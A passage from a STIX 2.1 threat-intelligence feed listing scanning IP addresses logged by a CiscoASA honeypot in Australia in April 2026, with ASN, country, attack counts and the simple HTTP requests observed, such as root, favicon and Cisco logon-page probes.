      "id": "indicator--bca0c626-4710-4bda-9f75-ef53746e02b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:20:10.000Z",
      "valid_until": "2026-05-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T19:34:58.244Z",
          "last_seen": "2026-04-04T19:35:01.246Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--fe28b19b-765f-490b-9875-40dd9acf59d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:20:10.000Z",
      "valid_until": "2026-05-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T19:34:54.791Z",
          "last_seen": "2026-04-04T19:34:57.793Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d1fabf49-da21-46a7-a531-f9ff227f7fc5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.53.78.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:20:16.000Z",
      "valid_until": "2026-05-07T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T00:59:35.522Z",
          "last_seen": "2026-04-21T01:01:36.888Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--028072ce-b47c-4d50-9242-f115f8158cd7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.201.57.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:20:16.000Z",
      "valid_until": "2026-05-07T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T00:56:00.208Z",
          "last_seen": "2026-04-05T00:56:00.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T01:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--5a2ad778-0541-48ec-bcc2-3a71269bef72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.206.189.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T01:20:16.000Z",
      "valid_until": "2026-05-07T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-05T00:59:27.242Z",
          "last_seen": "2026-04-22T01:02:32.361Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--56bf828e-348d-4b65-bc18-6e01f28501e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T02:20:10.000Z",
      "valid_until": "2026-05-07T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T02:16:01.041Z",
          "last_seen": "2026-04-05T02:16:04.045Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T03:20:10.000Z",
      "valid_until": "2026-05-07T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-05T03:03:20.730Z",
          "last_seen": "2026-04-05T03:04:24.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--9612eb6b-73d7-4523-9a97-315797f5b86c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:20:10.000Z",
      "valid_until": "2026-05-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-05T03:40:16.002Z",
          "last_seen": "2026-04-08T14:22:29.084Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--f96a4e81-2e42-4328-844a-d81d8c690b7b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.249.178.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T04:20:10.000Z",
      "valid_until": "2026-05-07T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T04:18:28.883Z",
          "last_seen": "2026-04-05T04:18:31.887Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T11:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login?redir=/ng HTTP/1.1\" 404 - geo: RU; ASN 200593 (Prospero Ooo)",
      "id": "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.215.85.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T11:20:14.000Z",
      "valid_until": "2026-05-07T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T10:28:24.798Z",
          "last_seen": "2026-04-05T10:28:24.798Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 200593,
          "as_org": "Prospero Ooo",
          "event_types": [
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--b55b89b8-7e67-4508-8fc2-28bdfc5d8fad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T11:53:12.165Z",
          "last_seen": "2026-04-05T11:53:12.165Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215925 (Vpsvault.host Ltd)",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T11:43:33.453Z",
          "last_seen": "2026-04-05T11:43:36.455Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215925,
          "as_org": "Vpsvault.host Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--dcdb0c5c-585c-4238-8be4-98c79aaea9c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T11:51:14.550Z",
          "last_seen": "2026-04-05T11:51:14.550Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--02ddc4c4-3302-457f-ad6f-f0b1853aeecc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T11:49:12.963Z",
          "last_seen": "2026-04-05T11:49:12.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--2858c35b-9a80-4cc4-90ad-4bdedfc9b902",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T11:49:11.907Z",
          "last_seen": "2026-04-26T11:48:54.793Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--93db0f3c-3dd2-442f-8df7-c6744dad8585",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T11:51:10.937Z",
          "last_seen": "2026-04-05T11:51:10.937Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--08a34629-ac36-47a2-bcd3-e8a32d74e886",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T12:20:10.000Z",
      "valid_until": "2026-05-07T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T11:47:15.051Z",
          "last_seen": "2026-04-05T11:47:15.051Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IN; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--9bea1472-6445-4757-9720-57515ab84654",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '168.144.26.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:20:10.000Z",
      "valid_until": "2026-05-07T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T13:01:16.403Z",
          "last_seen": "2026-04-05T13:01:19.925Z",
          "country": "India",
          "country_code": "IN",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--b20aa274-8a06-4b22-aa0b-309b8894e9b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:20:10.000Z",
      "valid_until": "2026-05-07T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-05T16:07:51.688Z",
          "last_seen": "2026-04-15T07:40:02.903Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:20:10.000Z",
      "valid_until": "2026-05-07T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T15:48:11.344Z",
          "last_seen": "2026-04-05T15:48:11.344Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--97f5ab4b-2c8a-4b1b-855d-3c63d2a20e91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:20:11.000Z",
      "valid_until": "2026-05-07T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T18:50:14.229Z",
          "last_seen": "2026-04-05T18:50:17.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--6cb36f0d-3551-490e-b3de-a77b27a8cfdf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.86.113.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T19:20:11.000Z",
      "valid_until": "2026-05-07T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-05T19:02:16.780Z",
          "last_seen": "2026-04-05T19:02:19.782Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14956,
          "as_org": "RouterHosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: IN; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--e6cfc575-3091-4ac7-93cc-ada86ce9be8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.159.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
